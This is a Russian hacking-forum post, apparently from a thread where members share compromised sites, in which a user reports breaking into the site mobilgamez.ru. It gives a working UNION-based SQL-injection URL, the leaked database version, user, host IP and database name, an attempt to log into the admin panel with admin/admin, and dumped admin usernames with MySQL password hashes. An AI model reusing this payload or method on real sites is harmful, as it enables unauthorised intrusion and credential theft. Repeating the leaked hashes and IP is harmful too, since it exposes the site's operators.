|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Сообщение от USAkid
Наконец-то вернулся домой, отдохнул прекрасно. Тэкс, теперь за дело:
mobilgamez.ru
Код:
http://mobilgamez.ru/ctlg.php?xn=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(version(),0x3a,user(),0x3a,database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--
version() - 5.0.22
user() - admin_mobilgamez@89.188.106.170
database() - admin_mobilgamez
Вывод производится в title.
Сервер:
nginx/0.6.31
Админка какая-то странная, по идее тут:
http://mobilgamez.ru/admin , ввел наугад логин/пароль admin/admin ... Подойти вроде подошло, но ошибку 500 показало... Вот так вотЪ  Данные по полям user,password из таблицы admin_packer.admin_users:
-------
kosty:*CAA6A6EB56FA8757200E1BA2FAD09CD01220317A
lena:*348D2F9427DAD0C3D0EDBE03182DA2FB9E4C5DBF
|